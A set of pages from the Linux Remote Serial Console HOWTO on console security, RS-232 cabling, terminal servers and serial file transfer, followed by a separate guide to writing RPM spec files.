You should write down the BIOS password, the boot loader password and the root password. Now you don't need to remember them, so there is no reason for them not to be totally random, unrelated, excellent passwords. Fold the page, put it in an envelope and seal it.

Now we have turned a computer security problem into a physical security problem. We know how to solve those problems: locks, keys, alarms, safes, guards, regular inspections. If your site has staffed security then a good option is to leave the envelope in the care of the guard post with instructions to treat the envelope with the same procedures used for the site's master keys. Smaller sites can use a safe, a cash box or a locked drawer. A thief forcing a locked drawer still leaves shows more apparent signs of entry and more clues to their identity than is left by a hacker behind a modem.

These three passwords are an important corporate asset. If the machine is secure then forgetting the major passwords for the machine should result in a machine whose configuration cannot be altered by actions short of disassembly. You should have written procedures controlling the generation, storage, lifetime and use of major passwords.

Notes

[1]

But don't submit your proposed password to a search engine! Sending passwords in plain text across the Internet isn't good, nor the possibility of having them appear in the logs of a search engine.

Prev | Home | Next
Security | Up | Obey Data Terminal Ready and Data Carrier Detect


Non-interactive boot sequence

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.8. Non-interactive boot sequence

Red Hat Linux has an ‘interactive boot’ option that can be used to prevent services from being started. This may not be pleasant if the purpose of the machine is web serving and the HTTP daemon is interactively prevented from starting by an unauthenticated person.

Edit /etc/sysconfig/init to contain the line

PROMPT=no

Prev | Home | Next
Use a boot loader password | Up | Magic SysRq key


Magic SysRq key

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.9. Magic SysRq key

The ‘magic SysRq key’ is a key sequence that allows some basic commands to be passed directly to the kernel. Kernel software developers use this interface to debug their software. Under most circumstances it can also be used to uncleanly reboot the computer, something that is otherwise difficult or expensive to do remotely.

For computers that are not used for kernel software development the magic SysRq key makes an ideal denial of service device. A few unauthenticated keystrokes and the computer is dead in the water. The console, serial or otherwise, must be in an area with access limited to trusted people.

The serial console uses the RS-232 break function as the ‘magic SysRq key’. A ‘break’ is a period of no transmission on the serial line, on traditional terminals it is activated by pressing a key labeled Break.

Anyone can dial into a modem and send a break, so if the serial console is attached to a modem we need to disable the magic SysRq key . If the serial console is attached to a terminal server which asks for authentication, or is attached directly to another terminal using a null modem cable then you may decide to activate the magic SysRq key.

The magic SysRq key can be disabled by setting a kernel variable or by not compiling support for the key.

Writing a 0 into /proc/sys/kernel/sysrq will disable the magic SysRq key. The command sysctl can also be used:

Figure 9-10. Using sysctl to defeat the magic SysRq key

bash# sysctl -w kernel.sysrq=0

Your Linux distribution may have a file /etc/sysctl.conf which is used to run sysctl during the boot of the machine. Add the lines:

Figure 9-11. Configuring /etc/sysctl.conf to defeat the magic SysRq key

# Disables the magic SysRq key
kernel.sysrq = 0

Even when setting the magic SysRq key off in /etc/sysctl.conf there is a period of vulnerability after the kernel boots but before contents of the file are applied.

It is much better to compile your own kernel and set the following configuration parameter:

Figure 9-12. Kernel make menuconfig showing disabled SysRq key

Kernel hacking  --->
 [ ] Magic SysRq key

This should place the following configuration parameter in /usr/src/linux/.config.

Figure 9-13. Kernel .config showing disabled SysRq key

# CONFIG_MAGIC_SYSRQ is not set

Prev | Home | Next
Non-interactive boot sequence | Up | Adjust behaviour of Ctrl-Alt-Delete


Serial cabling

Remote Serial Console HOWTO
Prev Next

Chapter 11. Serial cabling

Table of Contents
11.1. Jargon
11.2. Cable from console port to modem
11.3. Cable from console port to terminal (or another PC)
11.4. Making serial cables
Prev | Home | Next
Linux kernel version 2.2 |  | Jargon


Jargon

Remote Serial Console HOWTO
Prev Chapter 11. Serial cabling Next

11.1. Jargon

RS-232 cables were originally intended to link terminals to modems. The terminal is formally named a Data Terminal Equipment, abbreviated to DTE. The modem is formally named a Data Communications Equipment, abbreviated to DCE.

A standard RS-232 cable has a 25-pin D-type socket which connects to the DTE and a 25-pin D-type plug which connects to the DCE. All 25 pins are connected, with pin 1 on the plug wired to pin 1 on the socket, pin 2 on the plug wired to pin 2 on the socket, and so on. The shielding of the cable is attached to the metallic cover on the socket.

RS-232 signaling is much more robust than the signalling of many other communications standards. Pins can be shorted, not connected or drive more than one output.

Signals are named from the point of view of the Data Terminal Equipment. So Transmit Data on the DTE is connected to Transmit Data on the DCE. Transmit Data on the DTE actually transmits data, whereas Transmit Data on the DCE actually recieves data.

Prev | Home | Next
Serial cabling | Up | Cable from console port to modem


Making serial cables

Remote Serial Console HOWTO
Prev Chapter 11. Serial cabling Next

11.4. Making serial cables

If you use a serial console for densely-racked computers you will end up making a lot of null-modem serial cables. This section has some hints on making serial cables. If you are making more than ten cables and live in a city you will probably find it economic to have the cables made by a specialty cabling firm.

The RS-232 standard will drive at least 15 meters of shielded cable. Longer distances are possible with better cable; 100 meter cables are advertised by some specialty firms. Distances longer than 15m are also be possible with the high-quality unshielded twisted pair used for 100Base-TX ethernet. Be wary of long unshielded cables, as the RS-232 signals are not balanced and thus pick up noise easily. For distances beyond 100m use an RS-232 line driver; these will typically drive up to 2000 meters over category 3 UTP cable. For greater distances consider using fiber optical modems, the global telephony system, the mobile telephony system, satellite or radio.

If the environment has a lot of radio frequency noise then use shielded cable and connectors. Connect the shield in the cable to the computer at one end. This can be done by connecting the drain wire of the shield it to the Protective Ground (if present) or by soldering the drain wire to the body of the connector. If there is a substantial amount of noise also place a ferrite core over the shielded cable at both ends of the cable. Follow the usual good practices of making the cable to the correct length and screwing home the D connectors into the chassis.

If you are making one of these cables and have some soldering skill, you can easily do the jumpering of the signal wires within the backshell of the DB9 or DB25 connector.

If you are making a large number of cables then crimping systems are much faster than soldering. Again, pin jumpering can be done within the backshell.

No matter what system is adopted, use the Resistance setting of a multimeter to check for dead and shorted pins. A minute here can save hours later.

For structured cabling systems, space is tight within DB9/RJ-45 backshells, so the jumpering is better done behind the patch panel. The DB9/RJ-45 connectors present the IBM PC pinout at the DB9 connector and present the Yost or Cisco pinout at the RJ-45 connector.

Caution | Incompatible devices in structured cabling systems
 | Take care to connect only RS-232 devices to RS-232 devices when patching structured cabling systems. Other cables may be carrying ethernet, ISDN, telephony, alarm and DC power voltages. Connecting incompatible voltages may destroy equipment.
Prev | Home | Next
Cable from console port to terminal (or another PC) | Up | Modem configuration


Cable from console port to modem

Remote Serial Console HOWTO
Prev Chapter 11. Serial cabling Next

11.2. Cable from console port to modem

The RS-232 standard defines the interconnection of computers and modems, so there is little to go wrong here by simply purchasing a pre-assembled cable. There are two types of cable: cables with connectors for a standard 25-pin D connector on the computer; and cables with connectors for a proprietary 9-pin D connector used on the IBM PC/AT and many other computers. The cables have titles like RS-232 25-pin computer (DTE) to 25-pin modem (DCE) or RS-232 9-pin IBM PC/AT computer (DTE) to 25-pin modem (DCE). Most modems are packaged with a suitable cable.

If you need to manufacture your own cables, see the Serial-HOWTO for the RS-232 pinout for your computer. Connect Transmit Data on the computer to Transmit Data on the modem, Receive Data on the computer to Receive Data on the modem, and so on for Signal Ground, Clear to Send, Ready to Send, Data Set Ready, Data Terminal Ready, Data Carrier Detect and Ring Indication.

For professional computer room installations consider routing the serial cable through an RJ-45 patch panel. There are two common pinouts on used on the RJ-45 connector: Yost and Cisco 2500-series console.

If you create your own pinout for unshielded twisted pair cable then be sure that your pinout twists a Signal Ground wire with the Transmit Data wire and another Signal Ground wire with the Receive Data wire. Although the RS-232 signals are not balanced, this twist will result in the least amount of signal degradation and noise pickup.

Prev | Home | Next
Jargon | Up | Cable from console port to terminal (or another PC)


Cable from console port to terminal (or another PC)

Remote Serial Console HOWTO
Prev Chapter 11. Serial cabling Next

11.3. Cable from console port to terminal (or another PC)

The RS-232 standard allows for, but does not specify, the interconnection of two computers without intervening modems. A special cable is required, called a ‘null modem’ cable.

The wiring within the null modem cable depends upon the handshaking and control signals that are needed. Differing manufacturers have differing views on this topic, so don't buy a null modem cable that does not come with a wiring diagram.

Linux needs all of the flow control and modem control signals to be correctly wired. The correct wiring of a null modem cable is shown in Figure 11-1.

Linux uses CTS and RTS to do handshaking, preventing the computer from overrunning the terminal and preventing the terminal from overrunning the computer. If you are connecting two computers together, then you will not get reliable file transfers without CTS/RTS handshaking.

Linux uses DSR and DCD to sense that a terminal is connected. It will then request a login. If a session is established and DCD falls then Linux will log out the user.

Linux uses DTR to force the link to be cleared. It does this after a user logs off to free up the communications channel.

Major security exposures can occur with incorrectly wired null modem cables.

Figure 11-1. Null modem cable with full status and handshaking

      Signal ground ---------------------- Signal ground

       Receive data ---------------------- Transmit data

      Transmit data ---------------------- Receive data

      Ready to send ---------------------- Clear to send

      Clear to send ---------------------- Ready to send

Data terminal ready -----------------+---- Data carrier detect
                                     |
                                     +---- Data set ready

Data carrier detect ----+----------------- Data terminal ready
                        |
     Data set ready ----+

    Ring indication -- not connected

                          not connected -- Ring indication

Unfortunately not all Linux boot loaders support the control signals required by the Linux operating system. This odd state of affairs may force you to do away with control signals and handshaking if you need to issue commands to the boot loader.

There are two ways of defeating the RS-232 handshaking: software and hardware.

If you have a modem then by far the best technique is to disable the control signals and handshaking by using AT commands to configure the modem's software. This allows the handshaking to be restored when the boot loader authors correct their support for serial terminals.

For a null modem cable the best approach is to disable handshaking in your terminal emulation software.

In the worst case for a null modem you will need a cable that falsifies the handshaking and control signals.

Figure 11-2. Null modem cable with falsified status and handshaking

      Signal ground ---------------------- Signal ground

       Receive data ---------------------- Transmit data

      Transmit data ---------------------- Receive data

Data terminal ready ---+              +--- Data terminal ready
                       |              |
      Clear to send ---+              +--- Clear to send
                       |              |
Data carrier detect ---+              +--- Data terminal ready
                       |              |
     Data set ready ---+              +--- Data set ready

      Ready to send -- not connected

                          not connected -- Ready to send

    Ring indication -- not connected

                          not connected -- Ring indication

If you are happy with a quick hack, perhaps just to use a serial console to grab a kernel oops message, then you can configure some getty programs to ignore the RS-232 status signals. For example, mgetty has the direct option in mgetty.conf. In this case only a three-wire RS-232 null modem cable is needed.

Figure 11-3. Null modem cable with no status or handshaking

Signal ground ---------------------- Signal ground

 Receive data ---------------------- Transmit data

Transmit data ---------------------- Receive data

Don't use this cable in a production environment.

Prev | Home | Next
Cable from console port to modem | Up | Making serial cables


Reboot and test

Remote Serial Console HOWTO
Prev Next

Chapter 8. Reboot and test

Table of Contents
8.1. Verify console operation
8.2. Re-create saved console settings
8.3. Test the console
8.4. Where to next from here?
Prev | Home | Next
Configure Red Hat Linux |  | Verify console operation


Test the console

Remote Serial Console HOWTO
Prev Chapter 8. Reboot and test Next

8.3. Test the console

Dial in from a machine, perhaps using Minicom.

Example 8-1. Dialing into a serial console

localhost bash$ minicom

Initializing modem
Welcome to minicom 1.83.1
Press ALT-Z for help on special keys
AT S7=45 S0=0 L1 V1 X4 &C1 E1 Q0
OK
Alt-D remote.example.edu.au-ttyS0
Dialing: remote.example.edu.au-ttyS0 At: 1234-5678
Connected. Press any key to continue
Any
CONNECT 115200/V34/LAPM/V42BIS/33600:TX/33600:RX

Enter
/etc/issue says "All your base are belong to us".
remote.example.edu.au ttyS0 login: user
Password: ********
Message of the day is "be careful out there".
remote bash$ stty -a
speed 9600 baud; rows 0; columns 0; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 hupcl -cstopb cread -clocal crtscts
-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl -ixon -ixoff
-iuclc -ixany -imaxbel
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab3 bs0 vt0 ff0
isig icanon -iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
-echoctl -echoke
…
remote bash$ logout

NO CARRIER
Alt-X
Leave Minicom? Yes
Resetting modem

localhost bash$

Interestingly the stty -a command, used to display the terminal settings, reports that the link from the modem to the serial console is 9600bps. The CONNECT message reports that link between the two modems operates at 33600bps. The constant speed modem-computer link is a very useful feature of the Hayes AT-style modems: the calling computer need not know in advance the line speed of the called serial console.

Prev | Home | Next
Re-create saved console settings | Up | Where to next from here?


Verify console operation

Remote Serial Console HOWTO
Prev Chapter 8. Reboot and test Next

8.1. Verify console operation

If possible, plug an RS-232 breakout box into the serial port. During reboot the Data Terminal Ready line should become active and then the Transmit Data lights should flash as console messages appear.

Attach a modem, or a null modem cable and a terminal. Configure them to match the serial parameters used by the serial console port. If using a modem, dial in to it from a terminal emulator.

+++
AT Z
AT DT 1234-5678
CONNECT 9600

Configure the terminal or terminal emulator to match the serial parameters used by the serial console. If using a modern Hayes AT-style modem then the speed need not match. If using a directly-attached terminal then the speed must match.

Reboot the computer.

bash# shutdown -h now

During reboot the terminal should see the usual boot loader text, and then the default kernel booting, then the init output, and finally the contents of /etc/issue and getty asking you to login.

LILO:

Linux version …
Kernel command line: auto BOOT_IMAGE=linux ro root=306 BOOT_FILE=/boot/vmlinuz-2.4.3-12 console=tty0 console=ttyS0,9600n8r
…
INIT version …
…
/etc/issue says "All your base are belong to us".
remote.example.edu.au ttyS0 login:

If you do not see the login: message then press Return or Enter.

Prev | Home | Next
Reboot and test | Up | Re-create saved console settings


Terminal server configuration

Remote Serial Console HOWTO
Prev Next

Appendix D. Terminal server configuration

Table of Contents
D.1. Considerations when buying second-hand terminal servers
D.2. Cisco 2511
D.3. Xyplex/iTouch MAXserver 1600
D.4. Xylogics/Bay/Nortel Annex

Terminal servers were originally designed for connecting terminals to minicomputers. Each terminal would have an RS-232 port. The connection to the minicomputer usually used an ethernet port. Connecting terminals would be connected to a command line interface where they could select from a list of predefined machines. A Telnet session would then be started to that machine.

Over time terminal servers gained more features. For example, modems could be connected. These initially allowed people to dial in to the minicomputer but grew in features until most terminal servers became routers with a great number of serial ports.

As well as allowing the connection of many console to a single terminal, the terminal server can be configured with user accounts and passwords, preventing unauthenticated access to the console whilst still allowing the console to be reached from any modem.

This remainder of this section lists the considerations when purchasing terminal servers and the cabling pinouts and basic software configuration needed for differing types of terminal servers.

Further contributions are welcome and should be e-mailed to the maintainer of this HOWTO.

Prev | Home | Next
Further references |  | Considerations when buying second-hand terminal servers


Xylogics/Bay/Nortel Annex

Remote Serial Console HOWTO
Prev Appendix D. Terminal server configuration Next

D.4. Xylogics/Bay/Nortel Annex

A good site for information on Annex terminal servers is http://www.ofb.net/~jheiss/annex/.

Prev | Home | Next
Xyplex/iTouch MAXserver 1600 | Up | Gratuitous advice for developers


Considerations when buying second-hand terminal servers

Remote Serial Console HOWTO
Prev Appendix D. Terminal server configuration Next

D.1. Considerations when buying second-hand terminal servers

Internet Service Providers have been large users of terminal servers in the past. Each modem would be connected to a terminal server port and incoming users would be permitted to send IP packets anywhere, not just to some predefined minicomputer. Manufacturers renamed the equipment to ‘access servers’ or ‘modem servers’ to reflect this new use.

These access servers have been superseded by a new generation which allows telephone trunks to be plugged directly into the ISP's router. There are no discrete modems; the modem tones are decoded by digital signal processing chips within the router. As a result terminal servers are currently readily available on the second-hand market.

When purchasing a second-hand terminal server ensure that you are also buying the rights to the software. Some companies license their software and this license cannot be resold, but has to be repurchased from the company if the terminal server changes hands. Many companies require a currently maintenance contract to obtain software updates. These maintenance agreements can be expensive, a common figure is 15% of the retail price per annum. You may be able to source a cheaper software updates from a third-party maintenance supplier.

Many older terminal servers are no longer sold or supported by their vendors. Search the vendor's web site for “end of life”.

Vendor support can be a particular issue when the most recently available software does not operating within the RAM or flash memory contraints of the terminal server you have purchased. You should check this before purchasing a seond-hand terminal server. Upgrading flash memory can be particularly difficult, as the ROM on the motherboard may also need to be replaced with one aware of the flash memory's characteristics.[1]

Third-party parts suppliers such as Kingston or MemoryX can usually provide dynamic RAM and flash memory. They usually cannot supply ROMs or static RAM.

Most old terminal servers will not support Secure Shell. In this is the case accessing the terminal server by its ethernet port is a poor idea: when you login to the console you password will travel across the Internet in clear text. Either dial in to the terminal server or use a one-time password system such as the RADIUS protocol with S/KEY authentication.

An alternative to using a terminal server is to use a multiport serial card in another Linux system.

Notes

[1]

This is a fault with the design of flash memory. It identifies itself with a model designator rather than with the timings required to read and write the memory. So to load software from flash memory the boot ROM must have a table of flash memory models and timings.

Prev | Home | Next
Terminal server configuration | Up | Cisco 2511


Cisco 2511

Remote Serial Console HOWTO
Prev Appendix D. Terminal server configuration Next

D.2. Cisco 2511

The basic configuration for a Cisco 2511 access server is shown in Figure D-1. A similar configuration will work for other Cisco access servers. Cisco has excellent documentation at its web site; start by finding the correct Configuration guide.

A current maintenance contract with Cisco or a reseller is required to download software updates. This contract also includes the provision of ROMs required for flash memory upgrades. In most jurisdictions Cisco software licenses are not transferrable, so if you purcashed the access server on the second-hand market you will need to purchase a software license from Cisco or a reseller.

Figure D-1. Basic configuration for Cisco 2511 terminal server to Linux PC

interface Async1
 description To Linux computer
 ip unnumbered Loopback0
 async mode interactive
 no peer default ip address

line 1
 location To Linux PC
 session-timeout 30
 no exec
 login
 modem InOut
 terminal-type vt100
 special-character-bits 8
 transport preferred none
 transport input telnet
 telnet break-on-ip
 telnet ip-on-break
 stopbits 1
 flowcontrol hardware

line vty 0 4
 location Network
 password PASSWORD
 login local
 terminal-type vt100
 transport preferred none
 transport output telnet

There is a port of Linux to the Cisco 2500 series of routers. At the time of writing it did did not support the asycnhronous ports on the Cisco 2511. The attractiveness of running Linux instead of running Cisco's IOS is that Linux can support SSH. At the time of writing Cisco were yet to release SSH on the Cisco 2500 series of routers, although a unofficial beta version has been seen.

Prev | Home | Next
Considerations when buying second-hand terminal servers | Up | Xyplex/iTouch MAXserver 1600


Xyplex/iTouch MAXserver 1600

Remote Serial Console HOWTO
Prev Appendix D. Terminal server configuration Next

D.3. Xyplex/iTouch MAXserver 1600

A good site for information on Xyplex terminal servers is http://www.gno.org/~gdr/xyplex/. Cabling is discussed at http://www.conserver.com/consoles/xyplexcons.html.

The Xyplex terminal servers are now manufacturered by iTouch Communications. A current maintenance contract with iTouch is required to download software updates.

Prev | Home | Next
Cisco 2511 | Up | Xylogics/Bay/Nortel Annex


Uploading files from a serial console

Remote Serial Console HOWTO
Prev Next

Appendix B. Uploading files from a serial console

Table of Contents
B.1. Disable logging to console
B.2. ASCII upload and cat
B.3. Xmodem, Ymodem and Zmodem
B.4. Kermit

There are many scenarios where the machine is dead in the water and you need to upload a file to correct that. In many of these scenarios the only way to upload the file is via the serial port being used as the console.

Moving files about over serial links has a long history in microcomputing and this section goes back in time to uncover the tools commonly used in the pre-Internet age of the Bulletin Board System.

Prev | Home | Next
Modems and overseas telecommunications requirements |  | Disable logging to console


ASCII upload and cat

Remote Serial Console HOWTO
Prev Appendix B. Uploading files from a serial console Next

B.2. ASCII upload and cat

cat is available on every UNIX-like system. It copies the data received from the keyboard to a file. Minicom and other terminal emulators have an ‘ASCII upload’ facility that will send a file up the serial link as though it had been typed.

remote bash$ cat > upload.txt

Alt-S Upload ascii
[ascii upload - Press CTRL-C to quit]

Wait for upload to complete…

ASCII upload of "upload.txt"
10.0 Kbytes transferred at 3900 CPS... Done.
READY: press any key to continue...

Ctrl-D
remote bash$

Without hardware flow control ASCII upload will drop the occassional character.

To upload binary files encode them into ASCII, upload them, and then decode them into binary again.

localhost bash$ uuencode upload.bin < upload.bin > upload.txt

Alt-S Upload ascii
[ascii upload - Press CTRL-C to quit]

Wait for upload to complete…

ASCII upload of "upload.txt"
10.0 Kbytes transferred at 3900 CPS... Done.
READY: press any key to continue...

Ctrl-D
remote bash$

remote bash$ uudecode < upload.txt

You can detect transmission errors by using a checksum program such as sum, cksum or md5sum. Print the ckecksum of the file before it is sent from the local machine and after it is recieved upon the remote machine.

localhost bash$ cksum upload.bin
1719761190 76 upload.bin

remote bash$ cksum upload.bin
1719761190 76 upload.bin

There are a number of checksumming programs. The sum command should be used with caution, as there are versions for BSD and System V UNIX which give differing results. cksum is the attempt by the POSIX standards developers to correct that mess: it gives the same result for the same file on all POSIX machines.

If the checksums of the original and uploaded files do not match then the file will have to be uploaded again. If the link is noisy and the file is big then you may never get a successful upload. What is needed in this case is to divide the file into many small parts, upload a part, check its checksum, and if it is fine proceed to the next part.

This sounds like something that should be automated. Entering from stage left is Xmodem.

Prev | Home | Next
Disable logging to console | Up | Xmodem, Ymodem and Zmodem


Kermit

Remote Serial Console HOWTO
Prev Appendix B. Uploading files from a serial console Next

B.4. Kermit

Kermit is a terminal emulator and file transfer program delevoped by Columbia University. It's popularity springs from the large range of computers that Kermit could be used to access, from IBM mainframes to MS-DOS PCs.

A Kermit variant named G-Kermit was released under the GNU Public License. This is available in most Linux distributions.

The recent Kermit and Zmodem protocols are built upon the same technologies. Zmodem has better performance in calls with high error rates. Kermit has been ported to more host platforms.

Prev | Home | Next
Xmodem, Ymodem and Zmodem | Up | Upgrading Red Hat Linux from a serial console


Disable logging to console

Remote Serial Console HOWTO
Prev Appendix B. Uploading files from a serial console Next

B.1. Disable logging to console

Before attempting to upload or download files it is a good idea to prevent messages from appearing on the console. These messages will corrupt files moved using cat and will cause Xmodem and similar protocols to take much, much longer.

Alter your system's configuration to give klogd the -c 1 parameter, inhibiting the display of kernel messages directly to the console. Kernel messages will still go to the system logger.

Figure B-1. Supressing kernel messages to the console in Red Hat Linux

bash# vi /etc/sysconfig/syslog

KLOGD_OPTIONS="-2 -c 1"

bash# /etc/init.d/syslog restart

Also modify the system logger's configuration not to send messages to the console. Edit /etc/syslog.conf, altering lines sending output to /dev/console. Send this output to a file instead.

Prev | Home | Next
Uploading files from a serial console | Up | ASCII upload and cat


Xmodem, Ymodem and Zmodem

Remote Serial Console HOWTO
Prev Appendix B. Uploading files from a serial console Next

B.3. Xmodem, Ymodem and Zmodem

Xmodem sends 128 bytes and a checksum, waits for a Acknowledgment to say all is well and sends the next block. If a negative acknowledgement is received or if no ACK or NAK ever appears then the block is sent again.

Xmodem is a simple protocol, as you would expect of a program written for 8-bit computers runing CP/M. It has lots of inefficiencies and minor problems, such as rounding up the file size to the next 128 byte boundary. These deficiencies lead to an evolution of the protocol with revisions of Xmodem, then Ymodem and finishing with Zmodem. Zmodem is substantially faster than Xmodem and has no niggling problems. The Zmodem protocol is substantially more complex than the Xmodem protocol, but since we only seek to at most compile the code, that complexity need not concern us.

remote bash$ rz
... waiting to receive.**B0100000023be50

Alt-S Upload zmodem
[zmodem upload - Press CTRL-C to quit]
Sending: upload.bin
Bytes Sent:   3072/  10000   BPS:2185     ETA 00:09

If an upload fails and you are left with rz waiting to recieve a file then typing Ctrl-X a number of times will return you to the command prompt. This also works for Xmodem's rx and Ymodem's ry.

A useful Zmodem capability is the ability to resume failed uploads and to send multiple files in a single upload session.

An implementation of Xmodem, Ymodem and Zmodem for POSIX computers is available from http://www.ohse.de/uwe/software/lrzsz.html. Red Hat Linux distribute this in the lrzsz RPM package. lrzsz is a enhanced free software branch of the public domain version of rzsz from Omen Technology.

Prev | Home | Next
ASCII upload and cat | Up | Kermit


Building RPMs

Building RPMs is fairly easy to do, especially if you can get the software you are trying to package to build on its own. We assume here that you know how to build software from source. If you don't you probably shouldn't be starting with this document.

The basic procedure to build an RPM is as follows:

  • Get the source code you are building the RPM for to build on your system.

  • Make a patch of any changes you had to make to the sources to get them to build properly.

  • Make a spec file for the package.

  • Make sure everything is in its proper place.

  • Build the package using RPM.

Under normal operation, RPM builds both binary and source packages.

The Spec File

We'll begin with discussion of the spec file. Spec files are required to build a package. The spec file is a description of the software along with instructions on how to build it and a file list for all the binaries that get installed.

You'll want to name your spec file according to a standard convention. It should be the package name-dash-version number-dash-release number-dot-spec. This will ensure that if you install multiple source RPMs for different versions of the same package that at least the spec files remain intact.

Here is a small spec file (eject-2.0.2-1.spec):

Summary: A program that ejects removable media using software control.
Name: eject
Version: 2.0.2
Release: 3
Copyright: GPL
Group: System Environment/Base
Source: http://metalab.unc.edu/pub/Linux/utils/disk-management/eject-2.0.2.tar.gz
Patch: eject-2.0.2-buildroot.patch
BuildRoot: /var/tmp/%{name}-buildroot

%description
The eject program allows the user to eject removable media
(typically CD-ROMs, floppy disks or Iomega Jaz or Zip disks)
using software control. Eject can also control some multi-
disk CD changers and even some devices' auto-eject features.

Install eject if you'd like to eject removable media using
software control.

%prep
%setup -q
%patch -p1 -b .buildroot

%build
make RPM_OPT_FLAGS="$RPM_OPT_FLAGS"

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/usr/bin
mkdir -p $RPM_BUILD_ROOT/usr/man/man1

install -s -m 755 eject $RPM_BUILD_ROOT/usr/bin/eject
install -m 644 eject.1 $RPM_BUILD_ROOT/usr/man/man1/eject.1

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%doc README TODO COPYING ChangeLog

/usr/bin/eject
/usr/man/man1/eject.1

%changelog
* Sun Mar 21 1999 Cristian Gafton <gafton@redhat.com>
- auto rebuild in the new build environment (release 3)

* Wed Feb 24 1999 Preston Brown <pbrown@redhat.com>
- Injected new description and group.

[ Some changelog entries trimmed for brevity.  -Editor. ]

The Header

The header has some standard fields in it that you need to fill in. There are a few caveats as well. The fields must be filled in as follows:

  • Summary: This is a one line description of the package.

  • Name: This must be the name string from the rpm filename you plan to use.

  • Version: This must be the version string from the rpm filename you plan to use.

  • Release: This is the release number for a package of the same version (ie. if we make a package and find it to be slightly broken and need to make it again, the next package would be release number 2).

  • Copyright: This line tells how a package is copyrighted. You should use something like GPL, BSD, MIT, public domain, distributable, or commercial.

  • Group: This is a group that the package belongs to in a higher level package tool or the Red Hat installer.

  • Source: This line points at the HOME location of the pristine source file. It is used if you ever want to get the source again or check for newer versions. Caveat: The filename in this line MUST match the filename you have on your own system (ie. don't download the source file and change its name). You can also specify more than one source file using lines like:

    Source0: blah-0.tar.gz
Source1: blah-1.tar.gz
Source2: fooblah.tar.gz

    These files would go in the SOURCES directory. (The directory structure is discussed in a later section, "The Source Directory Tree".)

  • Patch: This is the place you can find the patch if you need to download it again. Caveat: The filename here must match the one you use when you make YOUR patch. You may also want to note that you can have multiple patch files much as you can have multiple sources. ] You would have something like:

    Patch0: blah-0.patch
Patch1: blah-1.patch
Patch2: fooblah.patch

    These files would go in the SOURCES directory.

  • Group: This line is used to tell high level installation programs (such as Red Hat's gnorpm) where to place this particular program in its hierarchical structure. You can find the latest description in /usr/doc/rpm*/GROUPS. The group tree currently looks something like this:

    Amusements/Games
Amusements/Graphics
Applications/Archiving
Applications/Communications
Applications/Databases
Applications/Editors
Applications/Emulators
Applications/Engineering
Applications/File
Applications/Internet
Applications/Multimedia
Applications/Productivity
Applications/Publishing
Applications/System
Applications/Text
Development/Debuggers
Development/Languages
Development/Libraries
Development/System
Development/Tools
Documentation
System Environment/Base
System Environment/Daemons
System Environment/Kernel
System Environment/Libraries
System Environment/Shells
User Interface/Desktops
User Interface/X
User Interface/X Hardware Support

  • BuildRoot: This line allows you to specify a directory as the "root" for building and installing the new package. You can use this to help test your package before having it installed on your machine.

  • %description It's not really a header item, but should be described with the rest of the header. You need one description tag per package and/or subpackage. This is a multi-line field that should be used to give a comprehensive description of the package.

Prep

This is the second section in the spec file. It is used to get the sources ready to build. Here you need to do anything necessary to get the sources patched and setup like they need to be setup to do a make.

One thing to note: Each of these sections is really just a place to execute shell scripts. You could simply make an sh script and put it after the %prep tag to unpack and patch your sources. We have made macros to aid in this, however.

The first of these macros is the %setup macro. In its simplest form (no command line options), it simply unpacks the sources and cd's into the source directory. It also takes the following options:

  • -n name will set the name of the build directory to the listed name. The default is $NAME-$VERSION. Other possibilities include $NAME, ${NAME}${VERSION}, or whatever the main tar file uses. (Please note that these "$" variables are not real variables available within the spec file. They are really just used here in place of a sample name. You need to use the real name and version in your package, not a variable.)

  • -c will create and cd to the named directory before doing the untar.

  • -b # will untar Source# before cd'ing into the directory (and this makes no sense with -c so don't do it). This is only useful with multiple source files.

  • -a # will untar Source# after cd'ing into the directory.

  • -T This option overrides the default action of untarring the Source and requires a -b 0 or -a 0 to get the main source file untarred. You need this when there are secondary sources.

  • -D Do not delete the directory before unpacking. This is only useful where you have more than one setup macro. It should only be used in setup macros after the first one (but never in the first one).

The next of the available macros is the %patch macro. This macro helps automate the process of applying patches to the sources. It takes several options, listed below:

  • # will apply Patch# as the patch file.

  • -p # specifies the number of directories to strip for the patch(1) command.

  • -P The default action is to apply Patch (or Patch0). This flag inhibits the default action and will require a 0 to get the main source file untarred. This option is useful in a second (or later) %patch macro that required a different number than the first macro.

  • You can also do %patch# instead of doing the real command: %patch # -P

  • -b extension will save originals as filename.extension before patching.

That should be all the macros you need. After you have those right, you can also do any other setup you need to do via sh type scripting. Anything you include up until the %build macro (discussed in the next section) is executed via sh. Look at the example above for the types of things you might want to do here.

Build

There aren't really any macros for this section. You should just put any commands here that you would need to use to build the software once you had untarred the source, patched it, and cd'ed into the directory. This is just another set of commands passed to sh, so any legal sh commands can go here (including comments).

Important: Your current working directory is reset in each of these sections to the toplevel of the source directory, so keep that in mind. You can cd into subdirectories if necessary.

The variable RPM_OPT_FLAGS is set using values in /usr/lib/rpm/rpmrc. Look there to make sure you are using values appropriate for your system (in most cases you are). Or simply don't use this variable in your spec file. It is optional.

Install

There aren't really any macros here, either. You basically just want to put whatever commands here that are necessary to install. If you have make install available to you in the package you are building, put that here. If not, you can either patch the makefile for a make install and just do a make install here, or you can hand install them here with sh commands. You can consider your current directory to be the toplevel of the source directory.

The variable RPM_BUILD_ROOT is available to tell you the path set as the Buildroot: in the header. Using build roots are optional but are highly recommended because they keep you from cluttering your system with software that isn't in your RPM database (building an RPM doesn't touch your database...you must go install the binary RPM you just built to do that).

Cleaning your system

It's a good idea to always make sure there is a clean build root before building a package a second time on a system. The %clean macro will help with that. Simply put the proper commands there to blow away a former build root. Anal, err, careful folks may want to test that RPM_BUILD_ROOT wasn't set to / before doing something this volatile.

Optional pre and post Install/Uninstall Scripts

